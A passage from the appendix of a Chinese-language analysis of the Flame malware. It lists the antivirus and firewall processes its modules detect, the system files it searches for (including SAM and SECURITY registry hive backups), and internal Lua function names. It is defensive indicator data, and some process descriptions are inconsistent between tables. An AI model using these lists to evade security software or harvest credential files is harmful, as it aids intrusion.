GmbH公司Securepoint软件程序。防火墙类相关软件进程。
|
avp.exe
|
卡巴斯基杀毒软件相关程序。
|
fsgk32st.exe
|
F-Secure反病毒软件相关程序。
|
zlclient.exe
|
ZoneAlarm个人防火墙的客户端程序。
|
fsguiexe.exe
|
F-Secure反病毒软件相关程序。
|
umxpol.exe
|
TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
umxtray.exe
|
TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
cclaw.exe
|
Norman反病毒软件病毒控制程序
|
zanda.exe
|
Norman反病毒产品控制程序,同时是驻留精灵程序。
|
rtt_crc_service.exe
|
R-Firewall防火墙相关程序。
|
fsaua.exe
|
-Secure公司的自动更新代理。
|
fsqh.exe
|
F-secure反病毒软件的隔离管理工具。
|
pcipprev.exe
|
防火墙软件。
|
ipatrol.exe
|
互联网安全联盟,安全软件。
|
licwiz.exe
|
不详。
|
nstzerospywarelite.exe
|
反间谍软件的一部分。
|
njeeves.exe
|
Norman反病毒产品的一部分。
|
vsmon.exe
|
ZoneAlarm个人防火墙的一部分。
|
fsbwsys.exe
|
F-secure反病毒软件的相关程序。
|
vdtask.exe
|
一款虚拟光驱软件。
|
procguard.exe
|
是一个安全软件。
|
fsgk32.exe
|
F-Secure反病毒软件相关程序。
|
umxlu.exe
|
TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
fsguidll.exe
|
F-SecureAnti公司的-VirusClientSecurity是一款功能强大的实时病毒监测和防护系统相关程序。
|
clamd.exe
|
杀毒软件Clam AV的相关进程。
|
fsma32.exe
|
F-Secure反病毒软件的一部分。
|
rdtask.exe
|
Windows系统进程。
|
wsweepnt.exe
|
Sophos
Anti-Virus进程。
|
jpf.exe
|
JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰
|
tikl.exe
|
恶意键盘记录程序
|
kpf4ss.exe
|
是Kerio个人防火墙的Windows进程的一部分。
|
superantispyware.exe
|
是SUPERAntiSpyware反间谍软件的相关部分。
|
pxagent.exe
|
Prevx
Home 安全软件的相关部分。
|
fsmb32.exe
|
是F-Secure反病毒软件的一部分。
|
cmdagent.exe
|
Comodo防火墙进程,能帮助您侦测和清除病毒。
|
cdinstx.exe
|
毒软件anti-spyware进程。
|
swnetsup.exe
|
Sophos
Anti-Virus反病毒与网络支持服务应用程序相关的进程。
|
bootsafe.exe
|
能够快速重启进入安全模式的小程序。
|
fspc.exe
|
F-Secure的互联网安全套件进程。
|
antihook.exe
|
AntiHook控制中心进程。
|
dfw.exe
|
Signs防火墙进程。
|
elogsvc.exe
|
Entrust
Entelligence安全软件进程。
|
spywareterminator.exe
|
Crawler杀毒软件相关进程。
|
op_mon.exe
|
OutpostFirewall防火墙的实时监控程序。
|
zerospyware
le.exe
|
ZeroSpyware个人隐私防护软件相关进程。
|
fssm32.exe
|
是F-Secure反病毒软件的一部分。
|
umxfwhlp.exe
|
TinyFirewall相关进程。TinyFirewall是由 TinySoftware出品的一款网络防火墙软件。
|
authfw.exe
|
Authentium
Firewall进程。
|
tinykl.exe
|
很好用的微小的键盘纪录工具。
|
r-firewall.exe
|
R-Firewall个人防火墙进程。
|
fsav32.exe
|
F-Secure反病毒软件相关进程。
|
wwasher.exe
|
Webwasher安全产品的相关进程。
|
spfirewallsvc.exe
|
SecurePoint公司防火墙驱动程序进程。
|
cdas17.exe
|
CyberDefender
AntiSpyware 反间谍软件相关进程。
|
dvpapi.exe
|
Authentium
Antivirus的相关进程。
|
nvoy.exe
|
ZeroSpyware个人隐私防护软件相关进程。
|
eeyeevnt.exe
|
eEye数字安全套件相关进程。
|
附表四
表 5-4 Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过
进程名称
|
说明
|
avgamsvr.exe
|
AVG Antivirus 组件进程。
|
fwsrv.exe
|
Jetico Personal Firewall 进程 一款全面而又简单易用的个人网络防火墙。
|
ssupdate.exe
|
SUPERAntiSpyware 间谍扫描软件进程。
|
kavmm.exe
|
Kaspersky Anti-Virus Personal Pro 5 进程。
|
emlproxy.exe
|
Quick Heal AntiVirus进程 一款印度的著名安全软件。
|
xauth_service.exe
|
不详。
|
mpsvc.exe
|
微点主动防御进程。
|
fprottray.exe
|
F-Prot AntiVirus 相关组件进程。
|
dcsuserprot.exe
|
DiamondCS ProcessGuard进程 一款系统安全程序。
|
spywareterminatorshield.exe
|
Spyware Terminator进程 一款免费且易用的间谍软件清除软件。
|
zerospyware
lite_installer.exe
|
ZeroSpyware相关组件进程。
|
umxagent.exe
|
CA Anti-Virus相关服务进程。
|
fsdfwd.exe
|
F-Secure Anti-Virus相关组件进程。
|
fsrt.exe
|
Fortres Security进程。
|
rdtask.exe
|
Windows系统进程。
|
fspex.exe
|
F-Secure Anti-Virus相关服务进程。
|
sab_wab.exe
|
不详。
|
avgemc.exe
|
AVG Anti-Virus进程。
|
emlproui.exe
|
Quick Heal AntiVirus进程。
|
avgcc.exe
|
AVG Anti-Virus进程。
|
pxconsole.exe
|
Prevx Home反间谍软件进程。
|
authfw.exe
|
Authentium Firewall进程。
|
app_firewall.exe
|
NetScaler App Firewall进程。
|
lpfw.exe
|
Lavasoft Personal Firewall进程。
|
avgupsvc.exe
|
AVG Anti-Virus进程。
|
wsweepnt.exe
|
Sophos Anti-Virus进程。
|
fameh32.exe
|
F-Secure Anti-Virus进程
|
blinksvc.exe
|
eEye Digital Security相关组件进程。
|
spyhunter3.exe
|
SpyHunter反间谍软件进程。
|
fxsrv.exe
|
不详。
|
swupdate.exe
|
Sophos AntiVirus进程。
|
nvcoas.exe
|
Norman Virus进程。
|
fch32.exe
|
F-Secure Anti-Virus进程。
|
zerospyware
lite.exe
|
zerospyware反间谍软件进程。
|
tsatisy.exe
|
Omniquad AntiSpy软件进程。AntiSpy 可以帮你清除Cookies、浏览网站记录、网 络缓存文件、Windows操作系统中的打开程序记录、最近打开文件,甚 至于Media Player中的打开纪录也可一并清空。
|
pgaccount.exe
|
是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
|
blink.exe
|
eEyt数字安全公司开发的产品进程。
|
umxcfg.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
zlh.exe
|
ZLH.exe是Norman反病毒网络安全套装控制程序。
|
fsm32.exe
|
F-Secure反病毒软件相关程序,用于管理对病毒扫描的计划任务。
|
avginet.exe
|
AVGAnti-Virus/Spyware软件的在线升级程序。
|
scanwscs.exe
|
Quick Heal Technologies公司QuickHeal反病毒软件产品进程。
|
elogsvc.exe
|
来自Entrust Entelligence安全软件进程。
|
configmgr.exe
|
IBM Case Manager中进程。
|
vcatch.exe
|
不详。
|
winlogon.exe
|
Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
|
tinykl.exe
|
很好用的微小的键盘纪录工具。
|
netguard lite.exe
|
不详。
|
blinkrm.exe
|
eEyt Digital Security公司开发的产品进程。
|
netmon.exe
|
是NetworkMonitor一款用于管理和监测网络状况的软件进程,或netmon.exe是一个注册的群发邮件蠕虫的进程(小邮差病毒变种Worm.Mimail.m)。
|
ike.exe
|
不详。
|
cpf.exe
|
ComodoPersonalFirewall主程序。ComodoPersonalFirewall是一款功能强大的、高效的且容易使用的安全防护软件。
|
avgfwsrv.exe
|
AVG Firewall Service进程。
|
asr.exe
|
Advanced_Spyware_Remover反间谍软件程序。
|
nvcsched.exe
|
NVCSched.exe是Norman病毒控制台计划任务程序,用于进行计划扫描任务。
|
ipctray.exe
|
NetVeda Safety.Net安全软件进程。
|
sp_rsser.exe
|
SpywareTerminator反间谍软件相关程序。
|
firewall 2004.exe
|
WyvernWorks Firewall 2004软件进程。
|
kpf4gui.exe
|
是Kerio个人防火墙相关进程。
|
ipcsvc.exe
|
NetVeda Safety.Net安全软件进程。
|
kav.exe
|
kav.exe是卡巴斯基Kaspersky
Anti-Virus反病毒软件的一部分。
|
sppfw.exe
|
GmbH公司Securepoint软件程序。防火墙类相关软件进程。
|
avp.exe
|
卡巴斯基杀毒软件相关程序。
|
tsmpnt.exe
|
Omniquad MyPrivacy软件进程。Omniquad MyPrivacy 是款通过彻底删除留在计算机上的隐蔽信息来保护你的隐私的软件。
|
fsgk32st.exe
|
F-Secure反病毒软件相关程序。
|
zlclient.exe
|
ZoneAlarm个人防火墙的客户端程序。
|
fsguiexe.exe
|
F-Secure反病毒软件相关程序。
|
r-firewall.exe
|
R-Firewall个人防火墙进程。
|
sww.exe
|
产品名称:爽歪歪,爽歪歪是一款游戏外挂。包括天空小小岛,小小岛,冒险岛等游戏的外挂。
|
tscutynt.exe
|
产品名称: Omniquad Total Security,是一个安全软件。
|
cdas17.exe
|
不详
|
cclaw.exe
|
cclaw.exe是Norman反病毒软件病毒控制程序。同时用于Norman反病毒扫描器。
|
avpm.exe
|
avpm.exe是卡巴斯基Kaspersky公司出品的反病毒套装的一部分。用于保护你的计算机免受网络威胁的攻击。
|
zanda.exe
|
Norman反病毒产品控制程序,同时是驻留精灵程序。
|
rtt_crc_service.exe
|
此文件是R-Firewall防火墙的一部分。
|
fsaua.exe
|
该进程属于F-Secure公司的自动更新代理。非系统进程。F-Secure 原名Data Fellows,是 欧洲乃至世界知名的计算机及网络安全提供商。1999年该公司在赫尔辛基证券交易所(OMX
Nordic Exchange Helsinki)成功上市。
|
fsqh.exe
|
F-secure反病毒软件的隔离管理工具,在F-secure防病毒系统中用于集中隔离病毒。
|
pcipprev.exe
|
防火墙软件。
|
ipatrol.exe
|
安全软件,互联网安全联盟公司出品。
|
licwiz.exe
|
有关间谍软件的恶意文件。
|
nstzerospywarelite.exe
|
防火墙软件。
|
njeeves.exe
|
NJeeves.exe是Norman反病毒产品的一部分。 它用于发送消息给Norman反病毒控制不同模块。同时也用于隔离区文件夹功能。
|
vsmon.exe
|
ZoneAlarm个人防火墙的一部分。它用于监视网络浏览和对网络攻击进行警报。
|
fsbwsys.exe
|
F-Secure Internet Security Suite 公司的安全软件。
|
vdtask.exe
|
虚拟光盘)是一款虚拟光驱软件。
|
procguard.exe
|
安全软件。
|
fsgk32.exe
|
F-Secure反病毒软件相关程序。F-SecureAnti-VirusClientSecurity是一款 功能强大的实时病毒监测和防护系统,支持所有的Windows平台,它集成了多个病毒监测引擎,如 果其中一个发生遗漏,就会有另一个去监测。
|
umxlu.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
onlnsvc.exe
|
某公司的安全软件。
|
fsguidll.exe
|
F-Secure反病毒软件相关程序。
|
clamd.exe
|
危险的病毒程序。
|
services.exe
|
services.exe是微软Windows操作系统的一部分。用于管理启动和停止服务。
|
fsma32.exe
|
fsm32.exe是F-Secure反病毒软件的一部分。
|
oeinject.exe
|
不详。
|
updclient.exe
|
不详。
|
jpf.exe
|
JeticoPersonalFirewall的相关进程,JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
|
tikl.exe
|
恶意键盘记录程序。
|
kpf4ss.exe
|
是Kerio个人防火墙的Windows进程的一部分。
|
pfsvc.exe
|
pfsvc.exe是由Privacyware创建一个Windows文件,防火墙相关软件。
|
superantispyware.exe
|
是SUPERAntiSpyware反间谍软件的相关部分。
|
pxagent.exe
|
是Prevx Home 安全软件的相关部分。
|
fsmb32.exe
|
fsm32.exe是F-Secure反病毒软件的一部分。
|
cmdagent.exe
|
Comodo防火墙进程,能帮助您侦测和清除病毒, |
cdinstx.exe
|
杀毒软件anti-spyware进程。
|
omnitray.exe
|
Genetec Omnicast公司的Network DVR Server进程。
|
avgrssvc.exe
|
AVG Anti-Virus杀毒软件的Resident Shield模块进程。
|
vsdesktop.exe
|
Virtual Sandbox 2.0 Build 209子进程。
|
swnetsup.exe
|
Sophos Anti-Virus反病毒与网络支持服务应用程序相关的进程。
|
fpavserver.exe
|
F-PROT Antivirus系统服务进程。
|
gateway.exe
|
WindUpdates的广告计划的一个进程。
|
tray.exe
|
雅虎天盾的进程。
|
bootsafe.exe
|
能够快速重启进入安全模式的小程序。
|
fspc.exe
|
F-Secure的互联网安全套件进程。
|
antihook.exe
|
AntiHook控制中心进程。
|
dfw.exe
|
8Signs防火墙进程。
|
live help.exe
|
Windows32的应用程序相关进程。
|
pf6.exe
|
Privatefirewall相关进程。
|
spywareterminator.exe
|
Crawler杀毒软件相关进程。
|
op_mon.exe
|
OutpostFirewall防火墙的实时监控程序。
|
zerospyware
le.exe
|
ZeroSpyware个人隐私防护软件相关进程。
|
nvoy.exe
|
Norman AntiVirus杀毒软件相关进程。
|
umxfwhlp.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
tsansrf.exe
|
Omniquad Anonymous Surfing安全套件相关进程。
|
fw.exe
|
SoftPerfect个人防火墙相关进程。
|
jpfsrv.exe
|
JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
|
icmon.exe
|
Sophos AntiVirus防毒检测的活动监视器进程。
|
umxpol.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
fsav32.exe
|
F-Secure反病毒软件相关进程。
|
onlinent.exe
|
Quick Heal Total安全产品相关进程。
|
explorer.exe
|
Windows32的应用程序,位于C:\windows\目录下,windows资源管理器程序。
|
wwasher.exe
|
Webwasher安全产品的相关进程。
|
spfirewallsvc.exe
|
SecurePoint公司防火墙驱动程序进程。
|
umxtray.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
dvpapi.exe
|
Authentium Antivirus的相关进程。
|
fssm32.exe
|
F-Secure反病毒软件相关程序,用于扫描病毒。
|
eeyeevnt.exe
|
eEye数字安全套件相关进程。
|
xfilter.exe
|
费尔防火墙的相关进程。
|
附表五
表 5-5 Browse32.ocx模块遍历计算机系统中是否有如下文件列表
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\ssitable"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\mscrypt.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\lmcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\ntcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\mspovst.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\mscorest.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\Lncache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\dmmsap.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\syscache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\domm.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\syscache3.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\domm3.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\nt2cache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\domm2.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\ltcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\dommt.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\wavesup3.drv"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\comspol32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\indsvc32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\scaud32.exe"
"C:\WINDOWS\system32\sstab11.dat"
"C:\WINDOWS\system32\comspol32.ocx"
"C:\WINDOWS\system32\sstab12.dat"
"C:\WINDOWS\system32\comspol32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winrt32.dll"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winrt32.ocx"
"C:\WINDOWS\system32\winconf32.ocx"
"C:\WINDOWS\system32\mssui.drv"
"C:\WINDOWS\system32\indsvc32.dll"
"C:\WINDOWS\system32\indsvc32.ocx"
"C:\WINDOWS\system32\modevga.com"
"C:\WINDOWS\system32\commgr32.dll"
"C:\WINDOWS\system32\watchxb.sys"
"C:\WINDOWS\system32\scaud32.exe"
"C:\WINDOWS\system32\sdclt32.exe"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\scsec32.exe"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\mpgaud.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m4aaux.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\wpgfilter.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\audcache"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\audfilter.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m3aaux.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m3afilter.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m3asound.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m4afilter.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m4asound.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m5aaux.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m5afilter.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\m5asound.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\mpgaaux.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\qpgaaux.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\mlcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\srcache.dat"
"C:\WINDOWS\Ef_trace.log"
"C:\WINDOWS\repair\system"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rei525.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rei524.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\GRb9M2.bat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~a28.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra51.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TFL849.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TFL848.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL546.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"
"C:\WINDOWS\repair\sam"
"C:\WINDOWS\repair\security"
"C:\WINDOWS\repair\default"
"C:\WINDOWS\repair\software"
"C:\WINDOWS\Prefetch\Layout.ini"
"C:\WINDOWS\Prefetch\NTOSBOOT-B00DFAAD.pf"
"C:\WINDOWS\system32\config\sam.sav"
"C:\WINDOWS\system32\config\security.sav"
"C:\WINDOWS\system32\config\default.sav"
"C:\WINDOWS\system32\config\software.sav"
"C:\WINDOWS\system32\config\system.sav"
"C:\WINDOWS\system32\config\userdiff.sav"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra52.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~ZFF042.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab15.dat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpab32.bat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpab32.bat
"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF05AC8.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD85D3.tmp"
"C:\WINDOWS\system32\pcldrvx.ocx"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\dstrlog.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAudio\dstrlogh.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\authcfg.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\ctrllist.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\lmcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\ntcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\posttab.bin"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSAuthCtrl\tokencpt"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlog.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlogh.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\audtable.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\fmpidx.bin"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\lrlogic"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\mixercfg.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\sndmix.drv"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\lmcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\ntcache.dat"
"C:\Program
Files\Common Files\Microsoft Shared\MSSndMix\mixerdef.dat"
"C:\WINDOWS\system32\msglu32.ocx"
"C:\WINDOWS\Temp\~8C5FF6C.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV084.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV294.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV473.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI988.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI989.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"
"C:\WINDOWS\system32\advnetcfg.ocx"
"C:\WINDOWS\system32\advpck.dat"
"C:\WINDOWS\system32\authpack.ocx"
"C:\WINDOWS\system32\boot32drv.sys"
"C:\WINDOWS\system32\ccalc32.sys"
"C:\WINDOWS\system32\comspol32.dll"
"C:\WINDOWS\system32\ctrllist.dat"
"C:\WINDOWS\system32\mssvc32.ocx"
"C:\WINDOWS\system32\ntaps.dat"
"C:\WINDOWS\system32\nteps32.ocx"
"C:\WINDOWS\system32\rpcnc.dat"
"C:\WINDOWS\system32\soapr32.ocx"
"C:\WINDOWS\system32\sstab.dat"
"C:\WINDOWS\system32\sstab0.dat"
"C:\WINDOWS\system32\sstab1.dat"
"C:\WINDOWS\system32\sstab10.dat"
"C:\WINDOWS\system32\sstab2.dat"
"C:\WINDOWS\system32\sstab3.dat"
"C:\WINDOWS\system32\sstab4.dat"
"C:\WINDOWS\system32\sstab5.dat"
"C:\WINDOWS\system32\sstab6.dat"
"C:\WINDOWS\system32\sstab7.dat"
"C:\WINDOWS\system32\sstab8.dat"
"C:\WINDOWS\system32\sstab9.dat"
"C:\WINDOWS\system32\msglu32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra61.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~a38.tmp"
"C:\WINDOWS\system32\soapr32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a2.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a0.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a1.tmp"
"C:\WINDOWS\system32\nteps32.ocx"
"C:\WINDOWS\system32\advnetcfg.ocx"
"C:\WINDOWS\system32\boot32drv.sys"
"C:\WINDOWS\system32\ccalc32.sys"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV473.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV927.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV084.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV294.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI988.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI989.tmp"
|
附表六
表 5-6为Mssecmgr.ocx文件中的LUA脚本调用函数列表内容
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>316<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::send<|oOo|>1731<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>218<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::removeListElement<|oOo|>615<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>320<|oOo|>"
"<|oOo|>flame::lua::CommandPackage::post<|oOo|>177<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>234<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1894<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::getListSize<|oOo|>454<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::exec<|oOo|>1161<|oOo|>"
"<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>213<|oOo|>"
"<|oOo|>flame::lua::LuaState::argAsBoolean<|oOo|>188<|oOo|>"
"<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>203<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>233<|oOo|>"
"<|oOo|>flame::dbquery::DbQueryPackage::parseSingleQuery<|oOo|>210<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>326<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>337<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::hasKey<|oOo|>270<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>340<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1756<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::get<|oOo|>331<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>229<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>350<|oOo|>"
"<|oOo|>flame::lua::ZlibPackage::compress<|oOo|>2158<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>334<|oOo|>"
"<|oOo|>flame::clan::DbPackage::pushSQLiteValue<|oOo|>430<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::DHCPAddress<|oOo|>1238<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::getListElement<|oOo|>584<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>352<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>231<|oOo|>"
"<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>192<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1868<|oOo|>"
"<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>199<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::hostname<|oOo|>1069<|oOo|>"
"<|oOo|>flame::cruise::CruisePackage::getDomainGroupUsers<|oOo|>154<|oOo|>"
"<|oOo|>flame::lua::FileIOPackage::fileSize<|oOo|>900<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>153<|oOo|>"
"<|oOo|>flame::lua::LogPackage::writeLog<|oOo|>1476<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>156<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>238<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::getMac<|oOo|>1301<|oOo|>"
"<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>198<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::getIpByHostName<|oOo|>1267<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>154<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::bind<|oOo|>1840<|oOo|>"
"<|oOo|>flame::lua::LuaState::argAsString<|oOo|>175<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>227<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>158<|oOo|>"
